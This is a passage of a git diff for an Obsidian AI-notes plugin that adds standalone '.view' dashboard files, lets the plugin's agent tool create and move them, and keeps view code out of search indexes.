src/skills/defaults/views/SKILL.md | 9 +- src/styles.css | 45 +++--- src/utils/fileFiltering.ts | 6 +- src/views/gen-view/GenView.ts | 221 +++++++++++------------------ src/views/gen-view/viewEmbed.ts | 94 ++++++++++++ test/agent/editNote.test.ts | 2 +- test/genview/viewFences.test.ts | 23 ++- test/views/genViewResolve.test.ts | 39 ----- 12 files changed, 301 insertions(+), 293 deletions(-) create mode 100644 src/views/gen-view/viewEmbed.ts delete mode 100644 test/views/genViewResolve.test.ts diff --git a/src/agent/tools/manageNotes.ts b/src/agent/tools/manageNotes.ts index 0e3d8963..df3b3551 100644 --- a/src/agent/tools/manageNotes.ts +++ b/src/agent/tools/manageNotes.ts @@ -30,12 +30,20 @@ const editSchema = z.object({ .describe("Replace all occurrences instead of requiring a single unique match. Default false."), }); +/** What the agent may create, edit, move and delete: notes, and standalone views (`.view`, see views/gen-view). */ +const AGENT_WRITABLE_EXTENSIONS = [".md", ".view"]; +const isAgentWritablePath = (path: string): boolean => AGENT_WRITABLE_EXTENSIONS.some((ext) => path.endsWith(ext)); + const createOperationSchema = z.object({ type: z.literal("create"), path: z .string() - .describe("Vault-relative path for the new markdown note. Must end in .md. Example: Notes/my-note.md"), - content: z.string().describe("Full markdown content for the new note"), + .describe( + "Vault-relative path for the new file. Must end in .md (a note) or .view (a standalone view: frontmatter, then HTML). Example: Notes/my-note.md", + ), + content: z + .string() + .describe("Full content for the new file (markdown for a note; a view fence's body for a .view)"), }); const REPLACE_PENDING_DESCRIPTION = @@ -65,7 +73,9 @@ const deleteOperationSchema = z.object({ const moveOperationSchema = z.object({ type: z.literal("move"), path: z.string().describe("Current file path or wiki link reference to move"), - newPath: z.string().describe("Destination vault-relative path for the markdown note. Must end in .md."), + newPath: z + .string() + .describe("Destination vault-relative path. Must end in .md (a note) or .view (a standalone view)."), }); const replaceOperationSchema = z.object({ @@ -147,9 +157,9 @@ function validateExistingMarkdownFile( } const file = result.file; - if (!file.path.endsWith(".md")) { + if (!isAgentWritablePath(file.path)) { return { - error: `Error in operation ${operationNumber}: Only markdown files (.md) can be ${action}d. "${file.path}" is not a markdown file.`, + error: `Error in operation ${operationNumber}: Only notes (.md) and views (.view) can be ${action}d. "${file.path}" is neither.`, }; } @@ -510,8 +520,8 @@ async function stageNoteOperations( const duplicateError = ensureUniqueTarget(seenPaths, normalizedPath, operationNumber); if (duplicateError) return duplicateError; - if (!normalizedPath.endsWith(".md")) { - return `Error in operation ${operationNumber}: Only markdown files (.md) can be created. Got: "${normalizedPath}"`; + if (!isAgentWritablePath(normalizedPath)) { + return `Error in operation ${operationNumber}: Only notes (.md) and views (.view) can be created. Got: "${normalizedPath}"`; } if (!store.isPathAllowed(normalizedPath)) { @@ -617,8 +627,8 @@ async function stageNoteOperations( if (sourceDuplicateError) return sourceDuplicateError; const normalizedNewPath = normalizePath(operation.newPath); - if (!normalizedNewPath.endsWith(".md")) { - return `Error in operation ${operationNumber}: Only markdown files (.md) can be moved. Got destination "${normalizedNewPath}"`; + if (!isAgentWritablePath(normalizedNewPath)) { + return `Error in operation ${operationNumber}: Only notes (.md) and views (.view) can be moved. Got destination "${normalizedNewPath}"`; } const destinationDuplicateError = ensureUniqueTarget(seenPaths, normalizedNewPath, operationNumber); diff --git a/src/genview/registerViewBlocks.ts b/src/genview/registerViewBlocks.ts index 6d076799..be3d1a9c 100644 --- a/src/genview/registerViewBlocks.ts +++ b/src/genview/registerViewBlocks.ts @@ -2,8 +2,7 @@ import { type App, Notice, normalizePath, setIcon, type TFile } from "obsidian"; import type SecondBrainPlugin from "../main"; import { getData } from "../stores/dataStore.svelte"; import { VIEW_TYPE_CHAT } from "../views/chat/Chat"; -import { openGenView } from "../views/gen-view/GenView"; -import { viewFenceAtLine } from "./viewFences"; +import { VIEW_FILE_EXTENSION } from "../views/gen-view/GenView"; import { ViewRenderChild } from "./ViewRenderChild"; import { resolveViewLibs, VIEW_LIBS } from "./viewLibs"; import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec, viewFileBasename, wrapViewFence } from "./viewSpec"; @@ -39,11 +38,9 @@ export function registerViewBlocks(plugin: SecondBrainPlugin): void { return; } // Inside a chat the block is a proposal the user may want to keep, so it gets a - // toolbar; in a note it already is the note and only offers to open as a pane. + // toolbar; in a note it already is the note's content. if (el.closest(`.workspace-leaf-content[data-type="${VIEW_TYPE_CHAT}"]`)) { renderChatToolbar(plugin, el, spec, source); - } else { - renderNoteAction(plugin, el, ctx.sourcePath, ctx.getSectionInfo(el)); } ctx.addChild(new ViewRenderChild(el, plugin.app, spec, ctx.sourcePath)); }); @@ -64,70 +61,41 @@ function renderPlaceholder(el: HTMLElement): void { } /** - * In a note, a hover-revealed corner button that opens this block as its own pane. - * The block's index among the note's view fences comes from the section info Obsidian - * hands the processor; without it (some embed contexts) there is no safe target. + * Two ways to keep a view from the chat: copy it as a fence to paste inline into a + * note, or save it as a standalone `.view` file — which opens as its own pane, is + * embeddable with `![[name.view]]`, and stays out of the search indexes. */ -function renderNoteAction( - plugin: SecondBrainPlugin, - el: HTMLElement, - sourcePath: string, - section: { text: string; lineStart: number } | null, -): void { - if (!section || !sourcePath) return; - const fence = viewFenceAtLine(section.text, section.lineStart); - if (!fence) return; - iconButton( - el, - "maximize-2", - "Open as view", - () => openGenView(plugin, { path: sourcePath, index: fence.index, title: fence.spec.title }), - "s2b-view-open", - ); -} - function renderChatToolbar(plugin: SecondBrainPlugin, el: HTMLElement, spec: ViewSpec, source: string): void { const bar = el.createDiv({ cls: "s2b-view-toolbar" }); bar.createSpan({ cls: "s2b-view-toolbar-title", text: spec.title ?? "View" }); - // Saving twice from the same block would create a second note: share one in-flight - // save between both buttons, and forget it only if it failed. + // Saving twice from the same block would create a second file: share one in-flight + // save, and forget it only if it failed. let saving: Promise<TFile> | null = null; const save = (): Promise<TFile> => { - saving ??= saveViewAsNote(plugin.app, getData().viewsFolder, spec, source).catch((error: unknown) => { + saving ??= saveViewFile(plugin.app, getData().viewsFolder, spec, source).catch((error: unknown) => { saving = null; throw error; }); return saving; }; - const report = (error: unknown) => - new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); iconButton(bar, "copy", "Copy as block to paste into a note", async () => { await navigator.clipboard.writeText(wrapViewFence(source)); new Notice("View block copied. Paste it into any note."); }); - iconButton(bar, "save", "Save as a note in the vault", async () => { + iconButton(bar, "save", "Save as a view file and open it", async () => { try { const file = await save(); - new Notice(`Saved view to ${file.path}`); await plugin.app.workspace.getLeaf("tab").openFile(file); } catch (error) { - report(error); - } - }); - iconButton(bar, "maximize-2", "Save and open as its own view", async () => { - try { - const file = await save(); - await openGenView(plugin, { path: file.path, index: 0, title: spec.title }); - } catch (error) { - report(error); + new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); } }); } -function iconButton(parent: HTMLElement, icon: string, label: string, onClick: () => Promise<void>, cls = ""): void { +function iconButton(parent: HTMLElement, icon: string, label: string, onClick: () => Promise<void>): void { const button = parent.createDiv({ - cls: `clickable-icon ${cls}`.trim(), + cls: "clickable-icon", attr: { role: "button", tabindex: "0", "aria-label": label }, }); setIcon(button, icon); @@ -140,16 +108,16 @@ function iconButton(parent: HTMLElement, icon: string, label: string, onClick: ( }); } -/** Write the view as `<folder>/<title>.md` holding the fence, suffixing the name on collision. */ -export async function saveViewAsNote(app: App, folder: string, spec: ViewSpec, source: string): Promise<TFile> { +/** Write the view as `<folder>/<title>.view`, suffixing the name on collision. */ +export async function saveViewFile(app: App, folder: string, spec: ViewSpec, source: string): Promise<TFile> { const folderPath = normalizePath(folder || "Views"); await ensureFolder(app, folderPath); const base = viewFileBasename(spec.title); - let path = normalizePath(`${folderPath}/${base}.md`); + let path = normalizePath(`${folderPath}/${base}.${VIEW_FILE_EXTENSION}`); for (let n = 2; app.vault.getAbstractFileByPath(path); n++) { - path = normalizePath(`${folderPath}/${base} ${n}.md`); + path = normalizePath(`${folderPath}/${base} ${n}.${VIEW_FILE_EXTENSION}`); } - return app.vault.create(path, wrapViewFence(source)); + return app.vault.create(path, `${source.trim()}\n`); } /** Create `folderPath` and any missing ancestors, one segment at a time. */ diff --git a/src/genview/viewFences.ts b/src/genview/viewFences.ts index b9fd3ee8..51493d9c 100644 --- a/src/genview/viewFences.ts +++ b/src/genview/viewFences.ts @@ -1,6 +1,7 @@ /** - * Locate `s2b-view` fences in a note's markdown, so a note can be opened as a view - * (`views/gen-view/GenView.ts`) and a rendered block can find its own index. + * Locate `s2b-view` fences in a note's markdown. Used to keep view code out of the + * search indexes: a fence's HTML and JavaScript are noise to retrieval, so + * {@link stripViewFences} replaces each with a one-line marker carrying its title. * * Fence-aware in the CommonMark sense: a fence opened inside another fence (the views * skill's own ````markdown examples) is content, not a view. Opening markers may be @@ -13,7 +14,7 @@ import { parseViewSpec, VIEW_BLOCK_LANGUAGE, type ViewSpec } from "./viewSpec"; export interface ViewFence { /** Position among the note's view fences, top to bottom. */ index: number; - /** Zero-based line of the opening marker (what `getSectionInfo` reports for the block). */ + /** Zero-based line of the opening marker. */ lineStart: number; /** Zero-based line of the closing marker. */ lineEnd: number; @@ -62,7 +63,22 @@ export function findViewFences(markdown: string): ViewFence[] { return fences; } -/** The view fence whose opening marker is on `line`, or null. */ -export function viewFenceAtLine(markdown: string, line: number): ViewFence | null { - return findViewFences(markdown).find((fence) => fence.lineStart === line) ?? null; +/** + * `markdown` with every view fence replaced by `(view: <title>)` — or `(view)` when it + * has none — so a note that holds a dashboard is still findable by its name while its + * code stays out of the index. Returns the input untouched when there is nothing to strip. + */ +export function stripViewFences(markdown: string): string { + const fences = findViewFences(markdown); + if (fences.length === 0) return markdown; + const lines = markdown.replace(/\r\n?/g, "\n").split("\n"); + const out: string[] = []; + let cursor = 0; + for (const fence of fences) { + out.push(...lines.slice(cursor, fence.lineStart)); + out.push(fence.spec.title ? `(view: ${fence.spec.title})` : "(view)"); + cursor = fence.lineEnd + 1; + } + out.push(...lines.slice(cursor)); + return out.join("\n"); } diff --git a/src/main.ts b/src/main.ts index 7a3092cc..0f10e719 100755 --- a/src/main.ts +++ b/src/main.ts @@ -30,8 +30,8 @@ import { onCodexSessionChange } from "./stores/providerRuntime.svelte"; import { invalidateAuthState, invalidateProviderState } from "./lib/query"; import { LexicalSearchService } from "./search/LexicalSearchService"; import { registerViewBlocks } from "./genview/registerViewBlocks"; -import { findViewFences } from "./genview/viewFences"; -import { GenView, openGenView, VIEW_TYPE_GEN_VIEW } from "./views/gen-view/GenView"; +import { GenView, VIEW_FILE_EXTENSION, VIEW_TYPE_GEN_VIEW } from "./views/gen-view/GenView"; +import { registerViewEmbed, unregisterViewEmbed } from "./views/gen-view/viewEmbed"; import { ChatView, VIEW_TYPE_CHAT } from "./views/chat/Chat"; import { navigateToPendingChange } from "./lib/pendingChangeNavigation"; import { registerChatEmbed, unregisterChatEmbed } from "./views/chat/chatEmbed"; @@ -481,8 +481,11 @@ export default class SecondBrainPlugin extends Plugin { // }); // this.registerView(VIEW_TYPE_NOTE_CONTEXT, (leaf) => new NoteContextView(leaf, this)); this.registerView(VIEW_TYPE_ONBOARDING, (leaf) => new OnboardingView(leaf, this)); - // A note's `s2b-view` fence as its own leaf (see views/gen-view/GenView.ts). + // `.view` files: a standalone view as its own leaf, plus `![[x.view]]` embeds and + // hover previews (see views/gen-view/). Torn down in onunload with the chat's. this.registerView(VIEW_TYPE_GEN_VIEW, (leaf) => new GenView(leaf, this)); + this.registerExtensions([VIEW_FILE_EXTENSION], VIEW_TYPE_GEN_VIEW); + registerViewEmbed(this); if (this.manifest.dir === undefined) { this.unload(); @@ -534,27 +537,6 @@ export default class SecondBrainPlugin extends Plugin { this.registerMobileNavbarSearchOverride(); - this.addCommand({ - id: "open-note-as-view", - name: "Open note as view", - icon: "layout-dashboard", - checkCallback: (checking) => { - const file = this.app.workspace.getActiveFile(); - if (!file || file.extension !== "md") return false; - if (!checking) { - void (async () => { - const [first] = findViewFences(await this.app.vault.read(file)); - if (!first) { - new Notice("This note has no view block."); - return; - } - await openGenView(this, { path: file.path, index: 0, title: first.spec.title }); - })(); - } - return true; - }, - }); - this.addCommand({ id: "open-smart-graph", name: "Open smart graph", @@ -904,8 +886,9 @@ export default class SecondBrainPlugin extends Plugin { // during unload. ( this.app as typeof this.app & { viewRegistry?: { unregisterExtensions?: (extensions: string[]) => void } } - ).viewRegistry?.unregisterExtensions?.(["chat"]); + ).viewRegistry?.unregisterExtensions?.(["chat", VIEW_FILE_EXTENSION]); unregisterChatEmbed(this); + unregisterViewEmbed(this); } async createNewChat() { diff --git a/src/skills/defaults/views/SKILL.md b/src/skills/defaults/views/SKILL.md index fbda53c4..3227834c 100644 --- a/src/skills/defaults/views/SKILL.md +++ b/src/skills/defaults/views/SKILL.md @@ -14,10 +14,11 @@ fragment — markup, `<style>`, `<script>` — rendered in a sandboxed frame rig wrote it. An optional frontmatter block at the top declares a title, a fixed height, and named Dataview queries that the host runs for you and keeps live as the vault changes. -The user keeps a view from the toolbar above it: copy it as a block to paste into any -note, save it as its own note, or save and open it as its own pane. A view in a note -can be opened as a pane at any time. Do not create that note yourself unless asked; if -the user does ask, stage it with `manage_notes` and put the same fence in the note body. +The user keeps a view from the toolbar above it: copy it as a block to paste into a +note, or save it as a standalone `.view` file, which opens as its own pane and can be +embedded in any note with `![[Name.view]]`. Do not create that file yourself unless +asked; if the user does ask, stage it with `manage_notes` as `<folder>/<Name>.view` whose +content is the fence **body** only — frontmatter, then HTML, no fence markers. ## Format ````markdown diff --git a/src/styles.css b/src/styles.css index c86ba4d2..07f8134a 100755 --- a/src/styles.css +++ b/src/styles.css @@ -1663,23 +1663,6 @@ body.is-mobile .tool-output-content pre .clickable-icon { position: relative; margin: var(--size-4-2) 0; } -/* In a note: hover-revealed corner button that opens the block as its own pane. */ -.s2b-view-open { - position: absolute; - top: var(--size-4-2); - right: var(--size-4-2); - opacity: 0; - transition: opacity 0.15s; -} -.s2b-view:hover .s2b-view-open, -.s2b-view-open:focus-visible { - opacity: 1; -} -@media (hover: none) { - .s2b-view-open { - opacity: 1; - } -} /* ---- A view as its own leaf (views/gen-view) ---- */ .view-content.s2b-gen-view { padding: 0; @@ -1693,6 +1676,34 @@ body.is-mobile .tool-output-content pre .clickable-icon { border: 0; border-radius: 0; } +.s2b-gen-view-source { + display: flex; + flex-direction: column; + gap: var(--size-4-2); + height: 100%; + padding: var(--size-4-3); +} +.s2b-gen-view-source-text { + flex: 1; + width: 100%; + resize: none; + font-family: var(--font-monospace); + font-size: var(--font-smaller); + line-height: 1.5; +} +.s2b-gen-view-source-bar { + display: flex; + align-items: center; + gap: var(--size-4-2); +} +.s2b-gen-view-source-hint { + display: flex; + align-items: center; + gap: var(--size-2-2); + margin-left: auto; + color: var(--text-muted); + font-size: var(--font-ui-smaller); +} .s2b-view-frame { display: block; /* The host sets this frame's height to content + padding; the border must sit diff --git a/src/utils/fileFiltering.ts b/src/utils/fileFiltering.ts index 28f4510d..5b549bb4 100644 --- a/src/utils/fileFiltering.ts +++ b/src/utils/fileFiltering.ts @@ -1,4 +1,5 @@ import { Platform, type TFile, type Vault } from "obsidian"; +import { stripViewFences } from "../genview/viewFences"; import { getAgentPathSource } from "./agentPathSource"; import { agentRootDir } from "./agentPaths"; import { THREAD_DATA_DEDUP_VERSION, inflateThreadData, sniffThreadDataVersion } from "../agent/threadDataCodec"; @@ -250,7 +251,10 @@ export function getEmbeddableVaultFiles(vault: Vault): TFile[] { * before calling this helper. */ export async function readIndexableContent(vault: Vault, file: TFile): Promise<string> { - const content = await readIndexableContentRaw(vault, file); + const raw = await readIndexableContentRaw(vault, file); + // A view fence's HTML/JS is noise to retrieval (and would surface as chunks); keep + // only a marker with its title. `.view` files themselves are not indexable at all. + const content = file.extension === "md" ? stripViewFences(raw) : raw; const cap = maxIndexedTextChars(file); return content.length > cap ? content.slice(0, cap) : content; } diff --git a/src/views/gen-view/GenView.ts b/src/views/gen-view/GenView.ts index dc9cdbcb..1357fe65 100644 --- a/src/views/gen-view/GenView.ts +++ b/src/views/gen-view/GenView.ts @@ -1,38 +1,27 @@ -import { ItemView, Notice, TFile, type ViewStateResult, type WorkspaceLeaf } from "obsidian"; +import { FileView, Notice, setIcon, type TFile, type WorkspaceLeaf } from "obsidian"; import type SecondBrainPlugin from "../../main"; -import { findViewFences, type ViewFence } from "../../genview/viewFences"; import { ViewRenderChild } from "../../genview/ViewRenderChild"; +import { parseViewSpec } from "../../genview/viewSpec"; export const VIEW_TYPE_GEN_VIEW = "smart-second-brain-view"; - -/** - * Which fence of which note this leaf shows; persisted with the workspace layout. The - * fence's `title` (when it has one) is stored beside its ordinal so an edit that inserts - * or removes an earlier fence does not silently redirect the leaf: a fence with the - * stored title wins, the ordinal is the fallback, and a target that no longer exists - * shows as missing rather than as some other view. - */ -export interface GenViewState { - path: string; - index: number; - title?: string; -} +/** Extension of a standalone view file. Its content is a view fence's body: optional frontmatter, then HTML. */ +export const VIEW_FILE_EXTENSION = "view"; const RERENDER_DEBOUNCE_MS = 500; /** - * A note's `s2b-view` fence as its own workspace leaf: the frame fills the pane, no - * note chrome around it. The note stays the source of truth — the leaf re-renders when - * the note changes on disk (which is how an agent edit accepted through the review - * flow lands here) and follows renames. Header actions open the source note and - * refresh; there is deliberately no editing surface of its own. + * A `.view` file as a workspace leaf: the frame fills the pane, no chrome around it. + * The file is the source of truth — the leaf re-renders when it changes on disk (which + * is how an agent edit accepted through the review flow lands here) and follows renames + * and deletes the way any `FileView` does. Obsidian has no text editor for the + * extension, so the leaf carries a minimal source mode of its own (a textarea with + * save/cancel) behind a header action, next to a refresh action. */ -export class GenView extends ItemView { +export class GenView extends FileView { navigation = true; - private state: GenViewState | null = null; private body: HTMLElement | null = null; private child: ViewRenderChild | null = null; - private title: string | null = null; + private source: HTMLElement | null = null; private rerenderTimer: number | null = null; constructor( @@ -46,63 +35,47 @@ export class GenView extends ItemView { return VIEW_TYPE_GEN_VIEW; } - getDisplayText(): string { - if (this.title) return this.title; - const path = this.state?.path; - return path ? (path.split("/").pop() ?? path).replace(/\.md$/i, "") : "View"; - } - getIcon(): string { return "layout-dashboard"; } - getState(): Record<string, unknown> { - return { ...(this.state ?? { path: "", index: 0 }) }; - } - - async setState(state: unknown, result: ViewStateResult): Promise<void> { - const next = toState(state); - if (next) { - this.state = next; - await this.render(); - } - await super.setState(state, result); + canAcceptExtension(extension: string): boolean { + return extension === VIEW_FILE_EXTENSION; } async onOpen(): Promise<void> { + await super.onOpen(); this.contentEl.empty(); this.contentEl.addClass("s2b-gen-view"); this.body = this.contentEl.createDiv({ cls: "s2b-gen-view-body" }); - this.addAction("file-text", "Open source note", () => void this.openSource()); + this.addAction("pencil", "Edit source", () => void this.toggleSource()); this.addAction("refresh-cw", "Refresh", () => void this.render()); this.registerEvent( this.plugin.app.vault.on("modify", (file) => { - if (file.path === this.state?.path) this.scheduleRender(); - }), - ); - this.registerEvent( - this.plugin.app.vault.on("rename", (file, oldPath) => { - if (this.state && oldPath === this.state.path && file instanceof TFile) { - this.state = { ...this.state, path: file.path }; - // The renderer resolves queries and note links against its source path; - // rebuild it so the view follows the note to its new folder. - void this.render(); - } - }), - ); - this.registerEvent( - this.plugin.app.vault.on("delete", (file) => { - if (file.path === this.state?.path) this.showMessage("The note behind this view was deleted."); + if (file.path === this.file?.path && !this.source) this.scheduleRender(); }), ); - if (this.state) await this.render(); + } + + async onLoadFile(file: TFile): Promise<void> { + await super.onLoadFile(file); + this.closeSource(); + await this.render(); + } + + async onUnloadFile(file: TFile): Promise<void> { + this.closeSource(); + this.dropChild(); + this.body?.empty(); + await super.onUnloadFile(file); } async onClose(): Promise<void> { if (this.rerenderTimer !== null) window.clearTimeout(this.rerenderTimer); this.dropChild(); + await super.onClose(); } private scheduleRender(): void { @@ -114,45 +87,17 @@ export class GenView extends ItemView { } private async render(): Promise<void> { - if (!this.body || !this.state) return; - const file = this.plugin.app.vault.getFileByPath(this.state.path); - if (!file) { - this.showMessage(`Note not found: ${this.state.path}`); - return; - } - const fences = findViewFences(await this.plugin.app.vault.read(file)); - const fence = resolveFence(fences, this.state); - if (!fence) { - this.showMessage( - fences.length === 0 - ? "This note has no view block." - : "The view this pane was opened for is no longer in the note.", - ); - return; - } - this.state = { ...this.state, index: fence.index, title: fence.spec.title }; + const file = this.file; + if (!this.body || !file) return; + const text = await this.plugin.app.vault.read(file); + // The leaf may have moved on to another file (or closed) during the read. + if (this.file !== file || !this.body) return; this.dropChild(); this.body.empty(); - this.title = fence.spec.title ?? null; - this.refreshHeader(); - this.child = new ViewRenderChild(this.body, this.plugin.app, fence.spec, file.path, { fill: true }); + this.child = new ViewRenderChild(this.body, this.plugin.app, parseViewSpec(text), file.path, { fill: true }); this.addChild(this.child); } - /** Re-read the display text into the tab header. Internal leaf API, absent from the typings. */ - private refreshHeader(): void { - (this.leaf as unknown as { updateHeader?: () => void }).updateHeader?.(); - } - - private showMessage(text: string): void { - this.dropChild(); - this.body?.empty(); - this.body?.createDiv({ cls: "s2b-view-blocked", text }); - // No fence title to show; the tab falls back to the note's name. - this.title = null; - this.refreshHeader(); - } - private dropChild(): void { if (this.child) { this.removeChild(this.child); @@ -160,53 +105,57 @@ export class GenView extends ItemView { } } - private async openSource(): Promise<void> { - const file = this.state ? this.plugin.app.vault.getFileByPath(this.state.path) : null; - if (!file) { - new Notice("The source note is gone."); + /** Swap the rendered frame for a plain-text editor of the file, or back. */ + private async toggleSource(): Promise<void> { + if (this.source) { + this.closeSource(); + await this.render(); return; } - await this.plugin.app.workspace.getLeaf("tab").openFile(file); - } -} - -function toState(value: unknown): GenViewState | null { - if (typeof value !== "object" || value === null) return null; - const record = value as Record<string, unknown>; - if (typeof record.path !== "string" || !record.path) return null; - const index = - typeof record.index === "number" && Number.isInteger(record.index) && record.index >= 0 ? record.index : 0; - const title = typeof record.title === "string" && record.title ? record.title : undefined; - return { path: record.path, index, title }; -} - -/** The fence `state` refers to: by stored title first, then by ordinal; null when neither holds. */ -export function resolveFence(fences: readonly ViewFence[], state: GenViewState): ViewFence | null { - if (state.title) { - const byTitle = fences.find((fence) => fence.spec.title === state.title); - if (byTitle) return byTitle; + const file = this.file; + if (!file || !this.body) return; + const text = await this.plugin.app.vault.read(file); + if (this.file !== file || !this.body) return; + this.dropChild(); + this.body.empty(); + this.source = this.body.createDiv({ cls: "s2b-gen-view-source" }); + const textarea = this.source.createEl("textarea", { + cls: "s2b-gen-view-source-text", + attr: { spellcheck: "false", "aria-label": "View source" }, + }); + textarea.value = text; + const bar = this.source.createDiv({ cls: "s2b-gen-view-source-bar" }); + const save = bar.createEl("button", { text: "Save", cls: "mod-cta" }); + const cancel = bar.createEl("button", { text: "Cancel" }); + const hint = bar.createSpan({ cls: "s2b-gen-view-source-hint" }); + setIcon(hint, "info"); + hint.createSpan({ text: "Frontmatter (title, height, queries, libs), then the HTML." }); + save.addEventListener("click", () => void this.saveSource(textarea.value)); + cancel.addEventListener("click", () => void this.toggleSource()); + textarea.addEventListener("keydown", (event) => { + if ((event.metaKey || event.ctrlKey) && event.key === "s") { + event.preventDefault(); + void this.saveSource(textarea.value); + } + }); + textarea.focus(); + } + + private async saveSource(text: string): Promise<void> { + const file = this.file; + if (!file) return; + try { + await this.plugin.app.vault.modify(file, text.endsWith("\n") ? text : `${text}\n`); + } catch (error) { + new Notice(`Could not save view: ${error instanceof Error ? error.message : String(error)}`); + return; + } + this.closeSource(); + await this.render(); } - const byIndex = fences[state.index]; - if (!byIndex) return null; - // A stored title that matches nothing but whose ordinal is still a view: the user most - // likely retitled it. A stored title that matches nothing while the ordinal now shows a - // *different* titled view is a redirect; refuse it. - if (state.title && byIndex.spec.title && byIndex.spec.title !== state.title && fences.length > 1) return null; - return byIndex; -} -/** Show `path`'s `index`-th view in its own leaf, reusing one already showing it. */ -export async function openGenView(plugin: SecondBrainPlugin, state: GenViewState): Promise<void> { - const workspace = plugin.app.workspace; - const existing = workspace.getLeavesOfType(VIEW_TYPE_GEN_VIEW).find((leaf) => { - const shown = leaf.view instanceof GenView ? toState(leaf.view.getState()) : null; - return shown?.path === state.path && shown.index === state.index; - }); - if (existing) { - // The requested target is authoritative (a fresh index/title from the note). - await existing.setViewState({ type: VIEW_TYPE_GEN_VIEW, state: { ...state }, active: true }); + private closeSource(): void { + this.source?.remove(); + this.source = null; } - const leaf = existing ?? workspace.getLeaf("tab"); - if (!existing) await leaf.setViewState({ type: VIEW_TYPE_GEN_VIEW, state: { ...state }, active: true }); - await workspace.revealLeaf(leaf); } diff --git a/src/views/gen-view/viewEmbed.ts b/src/views/gen-view/viewEmbed.ts new file mode 100644 index 00000000..fbc44171 --- /dev/null +++ b/src/views/gen-view/viewEmbed.ts @@ -0,0 +1,94 @@ +import { type App, MarkdownRenderChild, type TFile } from "obsidian"; +import type SecondBrainPlugin from "../../main"; +import { ViewRenderChild } from "../../genview/ViewRenderChild"; +import { parseViewSpec } from "../../genview/viewSpec"; +import { Logger } from "../../utils/logging"; +import { VIEW_FILE_EXTENSION } from "./GenView"; + +/** Shape of the context Obsidian's (internal) embed registry passes to an embed creator. */ +interface ViewEmbedContext { + app: App; + containerEl: HTMLElement; + linktext: string; + sourcePath: string; + displayMode?: boolean; +} + +type EmbedCreator = (ctx: ViewEmbedContext, file: TFile) => MarkdownRenderChild; + +interface EmbedRegistry { + registerExtensions?: (extensions: string[], creator: EmbedCreator) => void; + unregisterExtensions?: (extensions: string[]) => void; +} + +/** + * `![[dashboard.view]]` inside a note, and the hover preview of a `.view` link: the + * file rendered the same way a fence in a note is (auto height, card border). Obsidian's + * embed pipeline calls `loadFile()` after construction, and again when the embedded + * file changes on disk. + */ +class ViewEmbed extends MarkdownRenderChild { + private child: ViewRenderChild | null = null; + + constructor( + containerEl: HTMLElement, + private readonly plugin: SecondBrainPlugin, + private readonly file: TFile, + ) { + super(containerEl); + } + + loadFile(): void { + void this.render(); + } + + private async render(): Promise<void> { + try { + const text = await this.plugin.app.vault.cachedRead(this.file); + this.drop(); + this.containerEl.empty(); + this.containerEl.addClass("s2b-view", "s2b-view-embed"); + this.child = new ViewRenderChild(this.containerEl, this.plugin.app, parseViewSpec(text), this.file.path); + this.addChild(this.child); + } catch (error) { + Logger.error(`Failed to render .view embed for ${this.file.path}:`, error); + this.containerEl.setText("Could not load view."); + } + } + + onunload(): void { + this.drop(); + } + + private drop(): void { + if (this.child) { + this.removeChild(this.child); + this.child = null; + } + } +} + +let warnedMissingRegistry = false; + +/** + * Register the `.view` embed renderer with Obsidian's internal embed registry. Not part + * of the public API and not torn down by the Component lifecycle: pair with + * {@link unregisterViewEmbed} in onunload (see `chatEmbed.ts` for the history). + */ +export function registerViewEmbed(plugin: SecondBrainPlugin): void { + const registry = (plugin.app as unknown as { embedRegistry?: EmbedRegistry }).embedRegistry; + if (!registry?.registerExtensions) { + if (!warnedMissingRegistry) { + warnedMissingRegistry = true; + Logger.warn("app.embedRegistry unavailable — .view embed/hover previews disabled."); + } + return; + } + registry.registerExtensions([VIEW_FILE_EXTENSION], (ctx, file) => new ViewEmbed(ctx.containerEl, plugin, file)); +} + +/** Reverses {@link registerViewEmbed}; call from onunload. */ +export function unregisterViewEmbed(plugin: SecondBrainPlugin): void { + const registry = (plugin.app as unknown as { embedRegistry?: EmbedRegistry }).embedRegistry; + registry?.unregisterExtensions?.([VIEW_FILE_EXTENSION]); +} diff --git a/test/agent/editNote.test.ts b/test/agent/editNote.test.ts index 13adc619..170fb4cd 100644 --- a/test/agent/editNote.test.ts +++ b/test/agent/editNote.test.ts @@ -220,7 +220,7 @@ describe("manageNotes tool (update operations)", () => { THREAD_CONFIG, ); - expect(result).toContain("Only markdown files"); + expect(result).toContain("Only notes (.md) and views (.view)"); expect(mockAddChanges).not.toHaveBeenCalled(); }); diff --git a/test/genview/viewFences.test.ts b/test/genview/viewFences.test.ts index 73c8c049..395bc44e 100644 --- a/test/genview/viewFences.test.ts +++ b/test/genview/viewFences.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from "vitest"; -import { findViewFences, viewFenceAtLine } from "../../src/genview/viewFences"; +import { findViewFences, stripViewFences } from "../../src/genview/viewFences"; const NOTE = [ "# Dashboard", @@ -53,10 +53,21 @@ describe("findViewFences", () => { }); }); -describe("viewFenceAtLine", () => { - it("maps the opening marker's line to its fence", () => { - expect(viewFenceAtLine(NOTE, 2)?.index).toBe(0); - expect(viewFenceAtLine(NOTE, 17)?.index).toBe(1); - expect(viewFenceAtLine(NOTE, 3)).toBeNull(); +describe("stripViewFences", () => { + it("replaces each fence with a titled marker and leaves the rest untouched", () => { + const stripped = stripViewFences(NOTE); + expect(stripped).not.toContain("<p>one</p>"); + expect(stripped).not.toContain("<p>two</p>"); + expect(stripped).toContain("(view: First)"); + expect(stripped).toContain("(view)"); + // Content that only looked like a fence (nested, or inside a js block) stays. + expect(stripped).toContain("this is an example inside a longer fence"); + expect(stripped).toContain("console.log('```s2b-view is just text here');"); + expect(stripped.startsWith("# Dashboard\n\n(view: First)\n\nSome prose")).toBe(true); + }); + + it("returns the input unchanged when there is nothing to strip", () => { + const note = "# Just a note\n\n```js\nlet x = 1;\n```"; + expect(stripViewFences(note)).toBe(note); }); }); diff --git a/test/views/genViewResolve.test.ts b/test/views/genViewResolve.test.ts deleted file mode 100644 index 0804659d..00000000 --- a/test/views/genViewResolve.test.ts +++ /dev/null @@ -1,39 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { findViewFences } from "../../src/genview/viewFences"; -import { resolveFence } from "../../src/views/gen-view/GenView"; - -const fence = (title?: string) => - `\`\`\`s2b-view\n${title ? `---\ntitle: ${title}\n---\n` : ""}<p>${title ?? 